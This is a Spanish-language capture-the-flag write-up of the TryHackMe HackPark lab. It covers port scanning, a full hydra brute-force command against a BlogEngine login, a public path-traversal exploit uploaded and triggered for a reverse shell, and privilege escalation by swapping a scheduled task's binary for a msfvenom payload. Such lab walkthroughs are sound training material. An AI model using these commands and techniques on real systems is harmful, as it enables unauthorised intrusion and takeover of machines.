TryHackMe – HackPark walkthrough

Hola! En esta ocasión, vamos a estar viendo la resolución de la máquina HackPark del Offensive Path de TryHackMe. Es una máquina Windows en la que tendremos que hacer fuerza bruta a un login de un BlogEngine vulnerable, cuando tengamos acceso al panel de administración, podremos aprovecharnos de esta vulnerabilidad para ejecutar comandos a nivel de sistema y así conseguir una reverse-shell. Para escalar privilegios, nos encontraremos una tarea programada que ejecuta un binario como administrador y el que podremos manipular.

Reconocimiento de puertos abiertos

Empezamos haciendo una búsqueda con nmap de todos los puertos que estén abiertos.

sudo nmap -p- --open -sS --min-rate 5000 10.10.133.216 -n -Pn -oG allPorts

Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-26 09:21 CET
Nmap scan report for 10.10.133.216
Host is up (0.045s latency).
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
80/tcp   open  http
3389/tcp open  ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 26.47 seconds

Lanzamos scripts básicos de enumeración al puerto 80 y 3389.

nmap -p80,3389 -sCV 10.10.133.216 -n -oN HackPark.nmap

Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-26 09:24 CET
Nmap scan report for 10.10.133.216
Host is up (0.045s latency).

PORT     STATE SERVICE            VERSION
80/tcp   open  http               Microsoft IIS httpd 8.5
| http-methods: 
|_  Potentially risky methods: TRACE
| http-robots.txt: 6 disallowed entries 
| /Account/*.* /search /search.aspx /error404.aspx 
|_/archive /archive.aspx
|_http-title: hackpark | hackpark amusements
|_http-server-header: Microsoft-IIS/8.5
3389/tcp open  ssl/ms-wbt-server?
| rdp-ntlm-info: 
|   Target_Name: HACKPARK
|   NetBIOS_Domain_Name: HACKPARK
|   NetBIOS_Computer_Name: HACKPARK
|   DNS_Domain_Name: hackpark
|   DNS_Computer_Name: hackpark
|   Product_Version: 6.3.9600
|_  System_Time: 2021-12-26T08:26:04+00:00
| ssl-cert: Subject: commonName=hackpark
| Not valid before: 2021-12-25T08:12:46
|_Not valid after:  2022-06-26T08:12:46
|_ssl-date: 2021-12-26T08:26:05+00:00; +5s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 4s, deviation: 0s, median: 3s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 71.71 seconds

Nmap nos reporta que en el puerto 80 tenemos un IIS 8.5 y varias entradas deshabilitadas en el robots.txt. Antes de navegar a la página, vamos a echar un vistazo a las tecnologías que usa. Esto lo podemos ver tanto con whatweb o con Wappalyzer, vamos a ver ambos.

WhatWeb y Wappalyzer

whatweb http://10.10.133.216/ | tee whatweb.log

Son enumeraciones alternativas para conocer las tecnologías, el tipo de servidor e incluso el sistema operativo.

Navegando por la página principal ya podríamos ver un potencial usuario y la plataforma de blogs, Blog Engine.

Enumeración manual del puerto 80

En este punto, ya podríamos mirar si hubieran exploits públicos para esta plataforma con searchsploit.

searchsploit BlogEngine

Para la mayoría de estos exploits necesitamos credenciales válidas y con permisos de edición de posts. En la página principal, arriba a la derecha, nos encontramos un menú que nos lleva a un panel de login.

http://10.10.133.216/Account/login.aspx?ReturnURL=/admin/

Vamos a aplicar fuerza bruta con hydra al usuario admin, usuario por defecto. Para ello necesitamos saber un par de cositas.

Fuerza bruta con hydra

Primero, vamos a abrirnos las devtools para poder ver las peticiones que hacemos al hacer un intento de login.

Y segundo, vamos a introducir cualquier contraseña para que nos haga la petición y así poder ver el tráfico.

En la imagen podemos ver dos cosas necesarias. Tenemos por un lado el mensaje de login fallido que nos hará falta indicarlo en hydra para que sepa que el login es exitoso. Y por otro lado, el protocolo y el tipo de formulario.

Necesitamos una última cosa, pinchamos en la petición de login dentro de la devtools y luego en la pestaña request para poder ver los datos como son enviados.

Nos interesa toda esa línea de request payload.

__VIEWSTATE=vHu%2FH6OJVzaBgRnNjcnm%2BgTcdxt6BLHzFUofZjrbTT0pDD%2BmUbO7UumaF2PJ6KdQK%2FmXiNYrGAcGPrHoYQhGLEDSbxrqpjv2ViyS6JIZOaU1kNWg62bKN%2FAM0%2BNorqmWVaOaJxJ8tcpZBRMt%2BHynJMRxLUTWzpETeq8%2BlUIwZCJw31tR&__EVENTVALIDATION=7Uq6FKS%2FYXVaadLbGKJZ09ZJ7VUQPhbXocL8vgtUCakcJGRwDNeZ10APlmfK218w5E3wDVpkHjci2Ei74pSGMu0i%2Fsa5vU3z58guMq1rzS7doy9bOVmSgNXTWbiilXs5r2Ho%2ByvZ%2FoFhgoM9LpyxnWrV2iPzpd6p9JonWbAp8VOgm20G&ctl00%24MainContent%24LoginUser%24UserName=admin&ctl00%24MainContent%24LoginUser%24Password=adminPass&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in

Ya tenemos todo lo necesario para lanzar hydra, el comando quedaría de la siguiente manera:

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.133.216 http-post-form "/Account/login.aspx?ReturnURL=%2fadmin%2f:__VIEWSTATE=vHu%2FH6OJVzaBgRnNjcnm%2BgTcdxt6BLHzFUofZjrbTT0pDD%2BmUbO7UumaF2PJ6KdQK%2FmXiNYrGAcGPrHoYQhGLEDSbxrqpjv2ViyS6JIZOaU1kNWg62bKN%2FAM0%2BNorqmWVaOaJxJ8tcpZBRMt%2BHynJMRxLUTWzpETeq8%2BlUIwZCJw31tR&__EVENTVALIDATION=7Uq6FKS%2FYXVaadLbGKJZ09ZJ7VUQPhbXocL8vgtUCakcJGRwDNeZ10APlmfK218w5E3wDVpkHjci2Ei74pSGMu0i%2Fsa5vU3z58guMq1rzS7doy9bOVmSgNXTWbiilXs5r2Ho%2ByvZ%2FoFhgoM9LpyxnWrV2iPzpd6p9JonWbAp8VOgm20G&ctl00%24MainContent%24LoginUser%24UserName=admin&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login Failed"
  • -l Indicamos el usuario.
  • -P Indicamos que queremos hacer uso de un diccionario y que sustituirá cada una de las contraseñas del diccionario por la palabra clave PASS.
  • 10.10.133.216 Ip a la que queremos lanzarlo.
  • http-post-form Protocolo y tipo de formulario.
  • Y payload que está compuesto de los datos a enviar y al final separado por dos puntos, le pasamos el mensaje de login fallido de la web.

Perfecto! Nos encontró la contraseña para el usuario admin. Vamos a acceder con las credenciales obtenidas.

Una vez dentro, si nos vamos a la pestaña about, encontramos información sobre la aplicación y nos revela la versión actual. Volvamos a los exploits encontrados anteriormente.

Accediendo a la máquina

Vamos a hacer uso del exploit aspx/webapps/46353.cs, si le echamos un vistazo al exploit hace uso de un path traversal que nos lleva a una ejecución de código remoto.

Nos traemos el exploit a nuestro directorio de trabajo y lo renombramos a PostView.ascx como nos indican las instrucciones del exploit.

Ahora debemos modificarlo cambiándole la ip y el puerto donde queramos recibir la reverse-shell.

Nos ponemos a la escucha con netcat en el puerto 443.

Ahora necesitamos subir el exploit. Para ello, nos dirigimos a un post, le damos a editar y habrá un icono de una carpetita en la que nos permitirá subir nuestro exploit.

Finalmente, el exploit se ejecutará visitando la siguiente url:

http://10.10.133.216/?theme=../../App_Data/files

Al visitar el enlace, ejecuta nuestro exploit y así nos devuelve la reverse-shell.

Escalación de privilegios

Para la fase de escalación de privilegios nos compartimos con python el binario winPEASx64 para enumerar posibles vías de escalación.

Al ejecutarlo, nos muestra un par de cositas interesantes. Una de ellas son las credenciales del usuario Administrator. Si recordamos el nmap, estaba abierto el servicio de escritorio remoto, con lo que con estas credenciales podríamos acceder de manera gráfica a la máquina como el usuario administrador.

La segunda cosa interesante que nos muestra winpeas, es un servicio llamado WindowsScheduler ( SplinterWare Software Solutions) que está corriendo y que cualquier usuario tiene privilegios de escritura en el directorio del binario.

Si buscamos Splinterware con searchsploit nos salen instrucciones en un txt para elevar privilegios.

Básicamente lo que nos dice es que están mal configurados los permisos y cualquiera podría sustituir el binario legítimo por uno malicioso.

El servicio tiene un directorio de eventos donde almacena logs, si echamos un vistazo vemos que cada minuto ejecuta el binario Message.exe como usuario administrador.

Ya sabemos lo que tenemos que hacer y que binario sustituir, así que vamos a crear nuestro ejecutable con msfvenom para que nos devuelva una reverse-shell .

Una vez creado, nos ponemos a la escucha por el puerto 444 y nos lo pasamos a la máquina con la utilidad certutil, almacenándolo en el directorio adecuado.

Y por último tocaría esperar a que se ejecute la tarea programada para que se nos devuelva la conexión como administrador.

Óscar Montoya